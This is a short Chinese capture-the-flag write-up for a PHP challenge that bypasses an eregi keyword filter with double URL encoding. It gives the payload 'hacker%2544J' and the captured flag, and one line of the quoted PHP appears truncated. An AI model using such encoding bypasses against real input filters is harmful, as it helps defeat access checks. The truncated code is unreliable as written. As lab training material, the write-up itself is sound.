urldecode二次編碼繞過(guò)
urldecode二次編碼繞過(guò)
50
http://123.206.87.240:9009/10.php
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!
");
exit();
}
_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "
Access granted!
";
echo "
flag
";
}
?>
1.php代碼審計(jì)
代碼審計(jì)得需要傳入一個(gè) hackerDJ
但是又不能直接傳需要簡(jiǎn)單編碼一下繞過(guò)eregi函數(shù)
查表得 %44 = D
構(gòu)造 hacker%44J過(guò)不了
于是把%也重新構(gòu)造一下
相當(dāng)于2次編碼 得 hacker%2544J
得到
Access granted!
flag{bugku__daimasj-1t2}
參考 eregi()
eregi()函數(shù)在一個(gè)字符串搜索指定的模式的字符串。搜索不區(qū)分大小寫(xiě)。Eregi()可以特別有用的檢查有效性字符串,如密碼。
可選的輸入?yún)?shù)規(guī)則包含一個(gè)數(shù)組的所有匹配表達(dá)式,他們被正則表達(dá)式的括號(hào)分組。
返回值
如果匹配成功返回true,否則,則返回false
參考 html url編碼
URL 編碼形式表示的 ASCII 字符(十六進(jìn)制格式)。
十六進(jìn)制格式用于在瀏覽器和插件中顯示非標(biāo)準(zhǔn)的字母和字符。